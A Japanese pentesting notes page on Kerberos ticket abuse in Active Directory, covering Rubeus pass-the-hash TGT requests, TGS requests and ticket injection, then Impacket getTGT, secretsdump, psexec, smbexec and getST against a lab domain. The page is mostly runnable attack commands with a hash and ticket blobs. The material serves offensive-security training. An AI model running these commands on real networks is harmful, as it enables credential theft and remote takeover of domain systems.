> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/ask-tgt-tgs.md).

# TGT / TGSを要求する

TGT / TGSを要求するためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

`Rubeus` KDCと直接通信してチケットを要求することもできます。

```bash
.\Rubeus.exe asktgt /domain.whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 
```

ここでは、アカウントのTGTとそのセッションキーを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248ad9795863b5350c417acbc2447f6efb9dfbad%2Fimage%20(2).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、サービスチケットを手動で照会できます。

{% code overflow="wrap" %}

```bash
.\Rubeus.exe asktgs /ticket:doIFGDCCBRSgAwIBBaEDAgEWoIELjCCBCphggMmMIIEIqADAgEFoQwbCkNPUlA1QUtlOTRQUyIHzAdoAMCMAQKhFjAUgWzrcmJ0Z3QbCmNvcnAubG9jYWpYgYjWyjggPqMIID5qADAgESoQMCAQKiggPYBIID1IFDRNbP59rVJ6ZiVLoElr7+WyRM5AOpUwwzjBIBWW9S3tTVCoT+W4sc3sqk7PsHcNZjjW5XpdpzlhX2UB7kiosg90ZNup0ctdKHuKqF5IJWPL5cxL9DDNlwF7MAljk90j5KLTlyhhLXUKLh72JrZ1/iwuFx9J6Va6VDRrLEG5NtyE3BRVJYegFB3zyWBsZjiisCLyHzoxlSiOxNUeUOTlcNrUPz4eInpyRlYZtaWh1SrYIiMj5D+O7POlDFd108acsVH7q38VMSwETdCADFzDckOmFtv9kjy4G2Mxz7bCm9hkUpasdFuaW4nCUJ19ZuBfK9NHOmwqF1Eic+F59Hcbt3mybeA5H+VaupA4bGDcf8BED4dlRjJwLcodvOZob15uJUSZoYohTgcTzlm6fmnJX9JU6YFiLdDm719YBlpOQCvFsSewZfDFErss1jg84nYxzl4X3MwOcLU3KPU47ydfXc7MssfRM7DVIuCrK2q3wJP66UYbo7KF7bkTkDe7pdr0m2l3cR8Egw1ooKb5xRDGik66YRb437AnRzNX+XkbDs6j1eA0dggQ1CD+1YX8sQjbRVnqOx1FkhaS4yWWieyAnVH7yZ1+nTYK0F7s2xhY51aVnPqcutuINHNwgoyVbla+wSNtaJndnYHu5/FiUSEgkUmZpdOHT4EoiqThSd3xLuLKyZUjjtUKRHHA8a976igZ67zaH4Co1A84IEKXLIMZWhlqohO3URscaZ4EKmCjhXT51FKyUOBRH8gsRSphMpjNZifNMsNnMIEAgwZ+Mu16R10g1LAjymVpUI9Imvo2cfQPSmvwMNcSrma90c5v4FPZbsYpL+MWGNAV009ezi3Lquh795VC1sZ5XDx4opwgJITuNl1Xcj9ch1E5kLmt1BvwfGDjw5k9YvYBFf5eg70D3f/GIHFd01k684IO7L4oqBZFwoj/2/Zd1QqWhTfYmnRbAb4ZMeKwmIra++qGLwPyHs00EEzRwHlRQPB+krOpB0AdPiaDjaxSu9glfXNr8sN0umTlwDKsiKhXFL4E2LLNDA1NQd4cuIrjcapylCgXG4oYnmcId/AfXAgmuo6CiTCdzBSzSiiXdwqBfRUZYTWR3VXy8Z/Q4Bw0VkJhjeircW073XP8d25ZwSnzac3V8Xem7GXomt3MKG+UHgyLDDpCOKhTsu7DGAIIZH0QqBgNSrGpYEJj+aAuzz1GoDSL117B7dpQ0lFiV/Tluh3QjtKVj61NXxjQTLAFOO/fdcjAii41J5bUskvyAuRLdm/VXyQktus+/QII942DhLF5Ilk3imo4HVMIHSoAMCAQCigcoEgcd9gcQgWggcgggb4wgbsgwgbgGgGzAMCAREhegQQ7VvpB0YoaOJamaDJtNG11rKEMGwpDT1JQfM0MohowGKADAgEBoREwDxsNYWRtaW5w3C3RyYWRWvcqMHAwUAQOEAAlKURGA8yMDIyMDIwMjE4MjEwOFqERgPMjAyMjAyMJMDMwNDIxMDhapxEYDzI0MTg0MTg0WqgMGWpDT1JQf1JQlkxPaERYADAgECoRYwFBsGa3JidGdtGwpGwpjbWlXmY2FzY3JyYWVmcG3b3JwLmxdKkxPxQPQMrYWbFBsGa3JidGdtGwpbYjJidGd0GwpJMlxvy2Fs /service:cifs/DC01.whoami.local
```

{% endcode %}

このコマンドはTGSクエリを送信し、対象サービスで利用可能なチケットを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4d1cb03ec67566aa4edd7ba708dee5792378c83%2Fimage%20(3).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、チケットをローカルにインジェクトできます。

{% code overflow="wrap" %}

```bash
.\Rubeus.exe ptt /ticket:doIFhjCCBYKgAwIBBaEDAgEWoIEiTCCBIVhggSBMIIEFaADAgEFoQwbCkNPUlA1QUtlOTRQUyIjAgoAMCMAQKhGTAXGwRjaWZZZGw9EQzAxLmN2cnAubG9jYWpYgYjWyjggRCMIIEPqADAgESoQMCAQIoggQwBIIELBmqRx9jVBmFFZLOZxHRHbBZL0Ufi7A7umi1p6ysfyJ9N488WRTyPdDTWnanQcZGHiDcUEQ264h1EieDg7qnqBq0OhJMkqvwurYKuAK8KdQaIcmBzlnsqHc5gb8ixD57TLfowPMmha+1IrtoI+vlxayPzNBKIYOIWqoOoMZJmpyHoPvE+DAMdaZnXER61407pg8YWt1jg0Xhlbz6V9i6WMfbKX7aaZsIjvZF9H/zbTXxXTbmuMyGuh11j3efcgqEAh06AAu97JPHa05INjjjlwVYN65+1GthgaMLrIjtyNHpZVxxWkcoesd4aXaKoYuJSfnY/5K+1LTqCXNVQVx4+cvQ/atZ7V/+xnr1PjFQTgPmJrnwGsb5cVNY2h8s50MjjPUIBqvWTAGOgVV5TNi6Mn0gwUNFf+h7k/8aiBwIzEKVWjNLpQwTB1IsUHOKTVfshwfNVZZQz8MBVkplnIROo5HbL/AJ20j5xMZ7Ve2VCsz8PVYlFrVyzFujdwC12YEamIg/0YrtA3rlfkDvgRK8fJMuEgm3Dtav6Swq7FvMpmu9G9G9POcx8efgpPYy2wsFh5/duHydnPLHI1It1OvxSOFOFRRNTSe9qRndWCtF+4U7ECA0/TM1fB7xPx1mjmveb/J4XEdLNdRKxRKNamfbfDY55b55qpgJLP5IzbhjOiK+qXvBVzpeUMo3ygpJT77jSfbYAsyWowTWwLtmMbKHTITsk1/HZPqKOGmd5c8BWuuHEiACOViN904B9/LfMz5IuuzRPiFpu3tTSV8UutPhTE/1pVH4otbuywPZNhai9Ili1XESfVxaQ3BaJU9rfrGD0TCMs3UJvBZZk2qTDjc+Uu9m3cJOSLIXqT+62VQudSNg/xX9JUXD118VZwznEU1w2+kCM+W/SDhrrKC6Bad+Zh3EtrW6YdlDB2bGVLVyfyMZMIAEWSNshta1UTtKgegeGPpjP8zWqKB+EfTE+N1f/rSC/bfA+h7XJ1CplfcdELFncBaCTAHtQrUyhyeuJsR1YxoGX/e3mXktmcijIdwyd31PNKxZUTHiVcGgvedhEjEnz+yLmC96gzAPqFUYDTVqL2mmCj90tGW2bLIYZZ9L1TZWTu95S65nTgzFQI3Zg8ghHKiVAVI1mLnMySdAdUoPV7iRNb2Mep18i59o3/EVIM6uagCdLFYI7ilox0a2R2f9t+Uyb43bLSM4FKt69r02TmkTuU3iGd7aQtE9fNlZG71Uvju4FPGnzN7IsvVT3EZETOwCB/svnQi0fXg8c7AjlpxeKd7Eyo5s8C4J/Cwq609ov+AF16UI1M8r9704eER4H8iLAxDfcFgTb/2fm+vVDRm+QS0c4I1auh3GDVUv3CeCMBSzD+TPQ/xDEO6/j/Wgbv/9s0BmkUgVmVdX1FZs6LyutUjKY3PzI60B6DCB5aADAgEAooHdBIHAfYHXMIHToAMCAQCiggEESIOBIEILDKun77SnzmahfQPYTZRNSA7cIgM7zJuUI/x6f/VI74oQwbCkNPUlA1QUle9DQUyiGjAYoAMCAQGgETAPGwhhZG1pbiwG1hZG1hZG1_pbm1zdHJhZGYwBwQBApREGAEyMDIyMDIwMjEwMzMzOFqERgEyMDIyMDIwMzA0MjEwOFapERgPMjQxODQxODRaqgwZYkNPUlBfUkxLTWPaERYADAgECoRYwFBsGa3JidGdttGwpGwpjbWlnYw==
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e33dede37f38b9676cd99b2755cb749ba2ed06b3%2Fimage%20(4).png?alt=media" alt=""><figcaption></figcaption></figure>

これで、次のサービス用の有効なチケットが `cifs` サービス。

{% code overflow="wrap" %}

```
klist
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8dd21a5097490fb95caee65354ec8cd3f355f8b0%2Fimage%20(5).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Linuxからは、ImpacketのKerberosツールでも同じことができます。

{% code overflow="wrap" %}

```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26034eb3d5f1a660afdd27635f883c4e15673a49%2Fimage%20(8).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、Kerberosキャッシュは `KRB5CCNAME` 環境変数。

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

その後、このチケットを再利用できます： `secretsdump.py`.

{% code overflow="wrap" %}

```bash
secretsdump.py whoami.local/administrador@ws01.whoami.local -k -no-pass
```

{% endcode %}

ここでは、マシンのシークレットがしっかりと抽出されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fe05271199c4ada28207ccdeafd9a4c4bfdc53f%2Fimage%20(9).png?alt=media" alt=""><figcaption></figcaption></figure>

次でもログインできます： `psexec.py`.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

このコマンドでリモートシェルが得られます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9a9a2db86b881c17d012425c99f08d77836e56e%2Fimage%20(10).png?alt=media" alt=""><figcaption></figcaption></figure>

別の可能な変種： `smbexec.py`.

{% code overflow="wrap" %}

```bash
smbexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9ba15eddd3ba0f8b1e4ecbc1f1426ff21034b0b%2Fimage%20(11).png?alt=media" alt=""><figcaption></figcaption></figure>

サービスチケットを直接照会するには、次も使用できます： `getST.py`.

{% code overflow="wrap" %}

```bash
getST.py -spn cifs/DC01.whoami.local -no-pass -k whoami.local/administrador
```

{% endcode %}

その後、再利用可能なサービスチケットを取得します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3979eb41f8e4dbaad6c8fc8bed5d021a59d27fb9%2Fimage%20(12).png?alt=media" alt=""><figcaption></figcaption></figure>


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